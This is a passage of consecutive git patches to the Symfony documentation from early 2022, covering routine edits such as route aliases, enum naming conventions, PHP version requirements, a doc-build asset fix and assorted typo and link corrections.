         '/var/www/vhosts/project/httpdocs/config/config.yaml',
         '/var/www/vhosts/project/httpdocs/config/routing.yaml',
         '/var/www/vhosts/project/httpdocs/config/services.yaml',
         '/var/www/vhosts/project/httpdocs/images/banana.gif',
-        '/var/www/vhosts/project/httpdocs/uploads/images/nicer-banana.gif',
-    ];
-
-    Path::getLongestCommonBasePath($paths);
+        '/var/www/vhosts/project/httpdocs/uploads/images/nicer-banana.gif'
+    );
     // => /var/www/vhosts/project/httpdocs
 
 Use this path together with :method:`Symfony\\Component\\Filesystem\\Path::makeRelative`

From 1d2cbe34434412da609badbdf6ac59f6b0fff5e5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Feb 2022 15:33:39 +0100
Subject: [PATCH 1694/5766] Remove some unused links

---
 deployment.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 47d8c4ef418..369256bf316 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -73,9 +73,6 @@ Using Build Scripts and other Tools
 There are also tools to help ease the pain of deployment. Some of them have been
 specifically tailored to the requirements of Symfony.
 
-`EasyDeployBundle`_
-    A Symfony bundle that adds deploy tools to your application.
-
 `Deployer`_
     This is another native PHP rewrite of Capistrano, with some ready recipes for
     Symfony.
@@ -269,6 +266,4 @@ Learn More
 .. _`Deployer`: https://deployer.org/
 .. _`Git Tagging`: https://git-scm.com/book/en/v2/Git-Basics-Tagging
 .. _`Platform.sh`: https://symfony.com/cloud
-.. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle
-.. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html
 .. _`Symfony CLI`: https://symfony.com/download

From 88417e1ae0f6c9f5c0ec3bbdf3b1d0e0834f63e8 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 21 Feb 2022 15:36:26 +0100
Subject: [PATCH 1695/5766] Remove :orphan: as it's not used anymore

---
 bundles/index.rst                      | 2 --
 components/filesystem/lock_handler.rst | 2 --
 2 files changed, 4 deletions(-)

diff --git a/bundles/index.rst b/bundles/index.rst
index e4af2cd357b..58bcd13761e 100644
--- a/bundles/index.rst
+++ b/bundles/index.rst
@@ -1,5 +1,3 @@
-:orphan:
-
 Bundles
 =======
 
diff --git a/components/filesystem/lock_handler.rst b/components/filesystem/lock_handler.rst
index e7dab2fa625..5997fd3887b 100644
--- a/components/filesystem/lock_handler.rst
+++ b/components/filesystem/lock_handler.rst
@@ -1,5 +1,3 @@
-:orphan:
-
 LockHandler
 ===========
 

From 1f902e17c9d9e98657370cedece476cfaf7dde25 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Wed, 23 Feb 2022 12:08:43 +0100
Subject: [PATCH 1696/5766] Fix doc for String

---
 components/string.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 85f020eb6ed..caff1413382 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -334,12 +334,11 @@ Methods to Search and Replace
     u('foo')->equalsTo('foo'); // true
 
     // checks if the string content match the given regular expression.
-    // You can pass flags for preg_match() as second argument. If PREG_PATTERN_ORDER
-    // or PREG_SET_ORDER are passed, preg_match_all() will be used.
     u('avatar-73647.png')->match('/avatar-(\d+)\.png/');
-    // result = ['avatar-73647.png', '73647']
-    u('avatar-73647.png')->match('/avatar-(\d+)(-\d+)?\.png/', \PREG_UNMATCHED_AS_NULL);
     // result = ['avatar-73647.png', '73647', null]
+
+    // You can pass flags for preg_match() as second argument. If PREG_PATTERN_ORDER
+    // or PREG_SET_ORDER are passed, preg_match_all() will be used.
     u('206-555-0100 and 800-555-1212')->match('/\d{3}-\d{3}-\d{4}/', \PREG_PATTERN_ORDER);
     // result = [['206-555-0100', '800-555-1212']]
 

From 4cc6393f9730b7bcc1c40ac38d7dcf2f41772e6a Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Wed, 23 Feb 2022 11:34:43 +0100
Subject: [PATCH 1697/5766] Document code-style for enums and class constants

---
 contributing/code/standards.rst | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 92b4af2b5f3..bcf10eb3196 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -210,8 +210,12 @@ Naming Conventions
 * Use `snake_case`_ for configuration parameters and Twig template variables
   (e.g. ``framework.csrf_protection``, ``http_status_code``);
 
-* Use namespaces for all PHP classes and `UpperCamelCase`_ for their names (e.g.
-  ``ConsoleLogger``);
+* Use `SCREAMING_SNAKE_CASE`_ for constants (e.g. ``InputArgument::IS_ARRAY``);
+
+* Use `UpperCamelCase`_ for enumeration cases (e.g. ``InputArgumentMode::IsArray``);
+
+* Use namespaces for all PHP classes, interfaces, traits and enums and
+  `UpperCamelCase`_ for their names (e.g. ``ConsoleLogger``);
 
 * Prefix all abstract classes with ``Abstract`` except PHPUnit ``*TestCase``.
   Please note some early Symfony classes do not follow this convention and
@@ -222,6 +226,9 @@ Naming Conventions
 
 * Suffix traits with ``Trait``;
 
+* Don't use a dedicated suffix for classes or enumerations (e.g. like ``Class``
+  or ``Enum``), except for the cases listed below.
+
 * Suffix exceptions with ``Exception``;
 
 * Prefix PHP attributes with ``As`` where applicable (e.g. ``#[AsCommand]``

From edfba60316496e166dedbd1f73a99bbb8b3e9e99 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Thu, 24 Feb 2022 14:13:10 +0100
Subject: [PATCH 1698/5766] Allowmin PHP req to change for a minor Symfony
 version

---
 contributing/community/releases.rst | 8 +++++++-
 setup.rst                           | 3 ---
 2 files changed, 7 insertions(+), 4 deletions(-)

diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index c717aea5c2a..9a2e652ac48 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -104,7 +104,7 @@ deprecated features, which your project no longer uses).
 PHP Compatibility
 -----------------
 
-The **minimum** PHP version is decided for each major Symfony version by consensus
+The **minimum** PHP version is decided for each **major** Symfony version by consensus
 amongst the :doc:`core team </contributing/code/core_team>` and documented as
 part of the :ref:`technical requirements for running Symfony applications
 <symfony-tech-requirements>`.
@@ -117,6 +117,12 @@ one that is publicly available.
 For out-of-support releases of Symfony, the latest PHP version at time of EOL is the last
 supported PHP version. Newer versions of PHP may or may not function.
 
+.. note::
+
+    By exception to the rule, bumping the minimum **minor** version of PHP is
+    possible for a **minor** Symfony version when this helps fix important
+    issues.
+
 Rationale
 ---------
 
diff --git a/setup.rst b/setup.rst
index b1462779c58..685a89afdb1 100644
--- a/setup.rst
+++ b/setup.rst
@@ -21,9 +21,6 @@ Before creating your first Symfony application you must:
   enabled by default in most PHP 7 installations): `Ctype`_, `iconv`_, `JSON`_,
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
 
-  * Note that all newer, released versions of PHP will be supported during the
-    lifetime of each Symfony release (including new major versions).
-    For example, PHP 8.0 is supported.
 * `Install Composer`_, which is used to install PHP packages.
 
 Optionally, you can also `install Symfony CLI`_. This creates a binary called

From edcc4c42c75212f89277f479c7ee9c0d8172b8c4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Feb 2022 16:50:32 +0100
Subject: [PATCH 1699/5766] Update PHP requirements of Symfony 6.1 to 8.1

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index cb66453ac55..12adcb7fcc8 100644
--- a/setup.rst
+++ b/setup.rst
@@ -17,7 +17,7 @@ Technical Requirements
 
 Before creating your first Symfony application you must:
 
-* Install PHP 8.0.2 or higher and these PHP extensions (which are installed and
+* Install PHP 8.1 or higher and these PHP extensions (which are installed and
   enabled by default in most PHP 8 installations): `Ctype`_, `iconv`_,
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
 * `Install Composer`_, which is used to install PHP packages.

From c6af87a69a72827e9ace099f5bc84bb96c4e09b5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Feb 2022 10:51:18 +0100
Subject: [PATCH 1700/5766] Fix the local doc build

---
 README.markdown  | 8 +++++++-
 _build/build.php | 6 ++++++
 2 files changed, 13 insertions(+), 1 deletion(-)

diff --git a/README.markdown b/README.markdown
index 2139c1599ac..c7758624d24 100644
--- a/README.markdown
+++ b/README.markdown
@@ -42,4 +42,10 @@ $ composer install
 $ php build.php
 ```
 
-Now you can browse the docs at `_build/output/index.html`
+After generating docs, serve them with the internal PHP server:
+
+```bash
+$ php -S localhost:8000 -t output/
+```
+
+Browse `http://localhost:8000` to read the docs.
diff --git a/_build/build.php b/_build/build.php
index b17e3e984be..3c64f4d6b85 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -46,6 +46,12 @@
         $result = (new DocBuilder())->build($buildConfig);
 
         if ($result->isSuccessful()) {
+            // fix assets URLs to make them absolute (otherwise, they don't work in subdirectories)
+            foreach (glob($outputDir.'/**/*.html') as $htmlFilePath) {
+                $htmlContents = file_get_contents($htmlFilePath);
+                file_put_contents($htmlFilePath, str_replace('href="assets/', 'href="/assets/', $htmlContents));
+            }
+
             $io->success(sprintf("The Symfony Docs were successfully built at %s", realpath($outputDir)));
         } else {
             $io->error(sprintf("There were some errors while building the docs:\n\n%s\n", $result->getErrorTrace()));

From ad25654eb86916d225ca89d4f5a511ad3948363c Mon Sep 17 00:00:00 2001
From: Tim Goudriaan <tim@onlinq.nl>
Date: Tue, 1 Mar 2022 09:54:05 +0100
Subject: [PATCH 1701/5766] Remove reference to obsolete
 Psr7ServerRequestResolver

---
 controller/argument_value_resolver.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 1dc0833bb53..aaf1fa6d390 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -64,11 +64,6 @@ In addition, some components and official bundles provide other value resolvers:
     The ``SecurityUserValueResolver`` was deprecated in Symfony 4.1 in favor of
     :class:`Symfony\\Component\\Security\\Http\\Controller\\UserValueResolver`.
 
-``Psr7ServerRequestResolver``
-    Injects a `PSR-7`_ compliant version of the current request if type-hinted
-    with ``RequestInterface``, ``MessageInterface`` or ``ServerRequestInterface``.
-    It requires installing the `SensioFrameworkExtraBundle`_.
-
 Adding a Custom Value Resolver
 ------------------------------
 
@@ -266,5 +261,3 @@ passing the user along sub-requests).
 .. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`yield`: https://www.php.net/manual/en/language.generators.syntax.php
 .. _`SecurityBundle`: https://github.com/symfony/security-bundle
-.. _`PSR-7`: https://www.php-fig.org/psr/psr-7/
-.. _`SensioFrameworkExtraBundle`: https://github.com/sensiolabs/SensioFrameworkExtraBundle

From 60eb02497144ffc0eb8c8b01c36a71934b41986f Mon Sep 17 00:00:00 2001
From: Thibault RICHARD <thibault@widop.com>
Date: Tue, 1 Mar 2022 13:14:53 +0100
Subject: [PATCH 1702/5766] [FrameworkBundle] Change exceptions title level

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b3e72757128..1ffd77d90f1 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3476,7 +3476,7 @@ a normal workflow or a state machine. Read :doc:`this article </workflow/workflo
 to know their differences.
 
 exceptions
-""""""""""
+~~~~~~~~~~
 
 **type**: ``array``
 

From 7b9ac691b1d446e65c5fe60a92994ae6fcfc66b6 Mon Sep 17 00:00:00 2001
From: Houssem ZITOUN <houssem.zitoun@ekino.com>
Date: Mon, 14 Feb 2022 15:03:26 +0100
Subject: [PATCH 1703/5766] improve .env doc

---
 configuration.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index f76a2aa09aa..035def1e7c4 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -583,6 +583,11 @@ In addition to your own env vars, this ``.env`` file also contains the env vars
 defined by the third-party packages installed in your application (they are
 added automatically by :ref:`Symfony Flex <symfony-flex>` when installing packages).
 
+.. tip::
+
+    Since the ``.env`` file is read and parsed on every request, you don't need to
+    clear the Symfony cache or restart the PHP container if you're using Docker.
+
 .env File Syntax
 ................
 

From 9c910d74bfe8e2bc6850ded5ad94cdb28ffd4a5d Mon Sep 17 00:00:00 2001
From: Tim Goudriaan <tim@onlinq.nl>
Date: Thu, 3 Mar 2022 11:58:05 +0100
Subject: [PATCH 1704/5766] Add information about DateTimeValueResolver

---
 controller/argument_value_resolver.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 346a96ffbeb..02d0a5b5971 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -59,6 +59,15 @@ Symfony ships with the following value resolvers in the
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestAttributeValueResolver`
     Attempts to find a request attribute that matches the name of the argument.
 
+:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\DateTimeValueResolver`
+    Attempts to find a request attribute that matches the name of the argument
+    and injects a ``DateTimeInterface`` object if type-hinted with a class
+    extending ``DateTimeInterface``.
+
+    By default any input that can be parsed as a date string by PHP is accepted.
+    You can restrict how the input can be formatted with the
+    :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapDateTime` attribute.
+
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestValueResolver`
     Injects the current ``Request`` if type-hinted with ``Request`` or a class
     extending ``Request``.

From 194ca17a80e695b3d0d95f1daf6f43c2ad9c42a7 Mon Sep 17 00:00:00 2001
From: Lctrs <jerome@prmntr.me>
Date: Wed, 29 Dec 2021 20:31:22 +0100
Subject: [PATCH 1705/5766] [Routing] Document the new alias feature

---
 routing.rst | 111 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 111 insertions(+)

diff --git a/routing.rst b/routing.rst
index 9f7a1fca581..e6e09a1c6dc 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1453,6 +1453,117 @@ A possible solution is to change the parameter requirements to be more permissiv
     as the token and the format will be empty. This can be solved by replacing
     the ``.+`` requirement by ``[^.]+`` to allow any character except dots.
 
+.. _routing-alias:
+
+Aliasing
+--------
+
+.. versionadded:: 5.4
+
+    Support for route aliases was introduced in Symfony 5.4.
+
+You may sometimes want to have multiple names for the same route. You can do so by
+aliasing them.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+      # config/routes.yaml
+      alias_name:
+          alias: target_route_name
+
+    .. code-block:: xml
+
+      <!-- config/routes.xml -->
+      <?xml version="1.0" encoding="UTF-8" ?>
+      <routes xmlns="http://symfony.com/schema/routing"
+          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+          xsi:schemaLocation="http://symfony.com/schema/routing
+              https://symfony.com/schema/routing/routing-1.0.xsd">
+
+          <route id="alias_name" alias="target_route_name"/>
+      </routes>
+
+    .. code-block:: php
+
+      // config/routes.php
+      use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+      return function (RoutingConfigurator $routes) {
+          $routes->alias('alias_name', 'target_route_name');
+      };
+
+.. _routing-alias-deprecation:
+
+Deprecating Route Aliases
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you decide to deprecate the use of a route alias (because it is outdated or
+you decided not to maintain it anymore), you can deprecate its definition:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+      alias_name:
+          alias: target_route_name
+
+          # this outputs the following generic deprecation message:
+          # Since acme/package 1.2: The "alias_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
+          deprecated:
+              package: 'acme/package'
+              version: '1.2'
+
+          # you can also define a custom deprecation message (%alias_id% placeholder is available)
+          deprecated:
+              package: 'acme/package'
+              version: '1.2'
+              message: 'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
+
+    .. code-block:: xml
+
+      <?xml version="1.0" encoding="UTF-8" ?>
+      <routes xmlns="http://symfony.com/schema/routing"
+          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+          xsi:schemaLocation="http://symfony.com/schema/routing
+              https://symfony.com/schema/routing/routing-1.0.xsd">
+
+          <route id="alias_name" alias="target_route_name">
+              <!-- this outputs the following generic deprecation message:
+                   Since acme/package 1.2: The "alias_name" route alias is deprecated. You should stop using it, as it will be removed in the future. -->
+              <deprecated package="acme/package" version="1.2"/>
+
+              <!-- you can also define a custom deprecation message (%alias_id% placeholder is available) -->
+              <deprecated package="acme/package" version="1.2">
+                  The "%alias_id%" route alias is deprecated. Do not use it anymore.
+              </deprecated>
+          </route>
+      </routes>
+
+    .. code-block:: php
+
+      $routes->alias('alias_name', 'target_route_name')
+
+          // this outputs the following generic deprecation message:
+          // Since acme/package 1.2: The "alias_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
+          ->deprecate('acme/package', '1.2', '')
+
+          // you can also define a custom deprecation message (%alias_id% placeholder is available)
+          ->deprecate(
+              'acme/package',
+              '1.2',
+              'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
+          )
+      ;
+
+Now, every time this route alias is used, a deprecation warning is triggered,
+advising you to stop or to change your uses of that alias.
+
+The message is actually a message template, which replaces occurrences of the
+``%alias_id%`` placeholder by the route alias name. You **must** have
+at least one occurrence of the ``%alias_id%`` placeholder in your template.
+
 .. _routing-route-groups:
 
 Route Groups and Prefixes

From 9dd602067c574ab73d4993865d1c4a0fd936b766 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 4 Mar 2022 08:57:55 +0100
Subject: [PATCH 1706/5766] Fix wrong markup

---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index ba58e38bee7..e4efce9077c 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -104,7 +104,7 @@ The kernel will immediately act as a reverse proxy: caching responses
 from your application and returning them to the client.
 
 The proxy has a sensible default configuration, but it can be
-finely tuned via `a set of options <configuration-framework-http_cache>`.
+finely tuned via :ref:`a set of options <configuration-framework-http_cache>`.
 
 When in :ref:`debug mode <debug-mode>`, Symfony automatically adds an
 ``X-Symfony-Cache`` header to the response. You can also use the ``trace_level``

From b73bfd1ffb5d742c62edde419c3de94863539034 Mon Sep 17 00:00:00 2001
From: Maxime Cornet <maximecornet@outlook.fr>
Date: Fri, 4 Mar 2022 17:57:08 +0100
Subject: [PATCH 1707/5766] Update testing.rst

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 9e493f293ef..6b29fbe378e 100644
--- a/testing.rst
+++ b/testing.rst
@@ -99,7 +99,7 @@ You can run tests using the ``./vendor/bin/phpunit`` command:
 .. tip::
 
     In large test suites, it can make sense to create subdirectories for
-    each type of tests (e.g. ``tests/Unit/`` and ``test/Functional/``).
+    each type of tests (e.g. ``tests/Unit/`` and ``tests/Functional/``).
 
 .. _integration-tests:
 

From b4eeb3b8dda11eb236e4f40839456ec8ae67885b Mon Sep 17 00:00:00 2001
From: Benjamin Sureau <40140102+bsureau@users.noreply.github.com>
Date: Sat, 5 Mar 2022 14:40:02 +0100
Subject: [PATCH 1708/5766] docs : update autowiring.rst

Add missing `arguments` key in `services.yaml` code block example - `#dealing-with-multiple-implementations-of-the-same-type` section.
---
 service_container/autowiring.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 61a22172f9d..93a4a9864f0 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -464,6 +464,7 @@ the injection::
 
                 # If you wanted to choose the non-default service and do not
                 # want to use a named autowiring alias, wire it manually:
+                # arguments:
                 #     $transformer: '@App\Util\UppercaseTransformer'
                 # ...
 

From 90cd82a6f378f5c485bbdc015f88ffda32ade2a0 Mon Sep 17 00:00:00 2001
From: Julien Dephix <jdephix@hotmail.com>
Date: Tue, 8 Mar 2022 08:19:05 +0100
Subject: [PATCH 1709/5766] Update filesystem.rst so backslash is displayed

Hi,

here's my very modest contribution!

Thanks
---
 components/filesystem.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 091c42c5df3..83f9c59de3f 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -348,7 +348,7 @@ following rules iteratively until no further processing can be done:
 
 - "." segments are removed;
 - ".." segments are resolved;
-- backslashes ("\") are converted into forward slashes ("/");
+- backslashes ("\\") are converted into forward slashes ("/");
 - root paths ("/" and "C:/") always terminate with a slash;
 - non-root paths never terminate with a slash;
 - schemes (such as "phar://") are kept;

From 72ec88b1035f43e830439a4de426fd85b0d6de19 Mon Sep 17 00:00:00 2001
From: devSf2 <boudi.abdelilah@gmail.com>
Date: Thu, 3 Mar 2022 14:50:21 +0100
Subject: [PATCH 1710/5766] Update testing.rst

Add missing testing environment option to 'doctrine:fixtures:load' command.
---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 6b29fbe378e..14024c8bc87 100644
--- a/testing.rst
+++ b/testing.rst
@@ -406,7 +406,7 @@ Empty the database and reload *all* the fixture classes with:
 
 .. code-block:: terminal
 
-    $ php bin/console doctrine:fixtures:load
+    $ php bin/console --env=test doctrine:fixtures:load
 
 For more information, read the `DoctrineFixturesBundle documentation`_.
 

From d40fc379445b03384d8906d1b44d201df1b70248 Mon Sep 17 00:00:00 2001
From: Simon Appelt <aipt32@gmail.com>
Date: Mon, 7 Mar 2022 11:10:20 +0100
Subject: [PATCH 1711/5766] Update profiler.rst

The info not to use the profiler in production environments should be highlighted more
---
 profiler.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index f7468c67d0b..49e804f45b2 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -2,8 +2,12 @@ Profiler
 ========
 
 The profiler is a powerful **development tool** that gives detailed information
-about the execution of any request. **Never** enable the profiler in production
-environments as it will lead to major security vulnerabilities in your project.
+about the execution of any request. 
+
+.. caution::
+
+    **Never** enable the profiler in production environments
+    as it will lead to major security vulnerabilities in your project.
 
 Installation
 ------------

From 01c2ec90bc3ef39121802fe5569c45419a5eb39c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 8 Mar 2022 09:44:31 +0100
Subject: [PATCH 1712/5766] Remove unused reference

---
 controller/argument_value_resolver.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index d79b7a481b9..5d5abc7ed62 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -255,4 +255,3 @@ passing the user along sub-requests).
 
 .. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`yield`: https://www.php.net/manual/en/language.generators.syntax.php
-.. _`SecurityBundle`: https://github.com/symfony/security-bundle

From 0d520c9a837844e7e3d1506a05829ca358d7a968 Mon Sep 17 00:00:00 2001
From: mark2016 <markgiglio@gmail.com>
Date: Mon, 7 Mar 2022 16:36:38 +1100
Subject: [PATCH 1713/5766] Update doctrine.rst

Fix the line numbering of the description of the ProductController to correctly align with the described line (the second half of them were about 2 out).
---
 doctrine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index e0376774b25..044da160db8 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -414,13 +414,13 @@ Take a look at the previous example in more detail:
   *entity manager* object, which is the most important object in Doctrine. It's
   responsible for saving objects to, and fetching objects from, the database.
 
-* **lines 20-23** In this section, you instantiate and work with the ``$product``
+* **lines 18-21** In this section, you instantiate and work with the ``$product``
   object like any other normal PHP object.
 
-* **line 26** The ``persist($product)`` call tells Doctrine to "manage" the
+* **line 24** The ``persist($product)`` call tells Doctrine to "manage" the
   ``$product`` object. This does **not** cause a query to be made to the database.
 
-* **line 29** When the ``flush()`` method is called, Doctrine looks through
+* **line 27** When the ``flush()`` method is called, Doctrine looks through
   all of the objects that it's managing to see if they need to be persisted
   to the database. In this example, the ``$product`` object's data doesn't
   exist in the database, so the entity manager executes an ``INSERT`` query,

From 4172b97fb687fab9b5cebdf8eda06d08348bd5d0 Mon Sep 17 00:00:00 2001
From: Johan de Jager <johan@laptify.nl>
Date: Wed, 9 Mar 2022 19:16:51 +0100
Subject: [PATCH 1714/5766] Typo

---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index 026716e0deb..600fee884dd 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -55,7 +55,7 @@ which makes creating a voter even easier::
 
 .. tip::
 
-    Checking each voter several times can be time consumming for applications
+    Checking each voter several times can be time consuming for applications
     that perform a lot of permission checks. To improve performance in those cases,
     you can make your voters implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`.
     This allows the access decision manager to remember the attribute and type

From c3afa28bb106f6347919ecb73578cad6344af869 Mon Sep 17 00:00:00 2001
From: Pierre Joube <pierre.joube@gmail.com>
Date: Thu, 10 Mar 2022 16:52:12 +0100
Subject: [PATCH 1715/5766] Update configurators.rst

The first example at https://symfony.com/doc/current/service_container/configurators.html#using-the-configurator will never work because ConfiguratorTrait::configurator(string|array|ReferenceConfigurator $configurator) expect only one parameter. Configurator will try to call special __invoke() (which is probably undefined at this point) method while the user expects to call configure() method. We must provide an array in this case.
---
 service_container/configurators.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 1ade37244c3..7cf3f4e09c5 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -181,10 +181,10 @@ all the classes are already loaded as services. All you need to do is specify th
             // override the services to set the configurator
             // In versions earlier to Symfony 5.1 the service() function was called ref()
             $services->set(NewsletterManager::class)
-                ->configurator(service(EmailConfigurator::class), 'configure');
+                ->configurator([service(EmailConfigurator::class), 'configure']);
 
             $services->set(GreetingCardManager::class)
-                ->configurator(service(EmailConfigurator::class), 'configure');
+                ->configurator([service(EmailConfigurator::class), 'configure']);
         };
 
 .. _configurators-invokable:

From 81faf5e3503409a001ea52c92b2a3acfd4baa935 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 10 Mar 2022 18:11:22 +0100
Subject: [PATCH 1716/5766] Fixing link

---
 reference/forms/types/enum.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 213e6bff7d6..b2e960a21ec 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -9,7 +9,7 @@ EnumType Field
    The ``EnumType`` form field was introduced in Symfony 5.4.
 
 A multi-purpose field used to allow the user to "choose" one or more options
-defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </reference/forms/types/enum>`
+defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </reference/forms/types/choice>`
 field and defines the same options.
 
 +---------------------------+----------------------------------------------------------------------+

From a7ac41fae7db4e0331ef58b95e8868c3e19124f1 Mon Sep 17 00:00:00 2001
From: mark2016 <markgiglio@gmail.com>
Date: Thu, 10 Mar 2022 14:17:14 +1100
Subject: [PATCH 1717/5766] [Mailer] Update mailer.rst

---
 mailer.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/mailer.rst b/mailer.rst
index 09d22b5b777..9f26c769d82 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -229,6 +229,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Mailer\MailerInterface;
     use Symfony\Component\Mime\Email;
+    use Symfony\Component\Routing\Annotation\Route;
 
     class MailerController extends AbstractController
     {

From fde7ca7fae1535a6954562c575feaeb9b1343b2c Mon Sep 17 00:00:00 2001
From: mark2016 <markgiglio@gmail.com>
Date: Tue, 8 Mar 2022 01:09:15 +1100
Subject: [PATCH 1718/5766] Update security.rst

Added the config value for failure_path under form_login (it was missing).
---
 reference/configuration/security.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 46e16014d19..e330ec19419 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -467,6 +467,14 @@ URL and process the submitted login credentials.
 Be sure that this URL is covered by your main firewall (i.e. don't create
 a separate firewall just for ``check_path`` URL).
 
+failure_path
+..........
+
+**type**: ``string`` **default**: ``/login``
+
+This is the route or path that the user is redirected to after a failed login attempt.
+It can be a relative/absolute URL or a Symfony route name.
+
 use_forward
 ...........
 

From 889a9bf455b156f795ddc12612e16eda8a050950 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Mar 2022 12:06:09 +0100
Subject: [PATCH 1719/5766] Minor syntax issue

---
 reference/configuration/security.rst | 2 +-
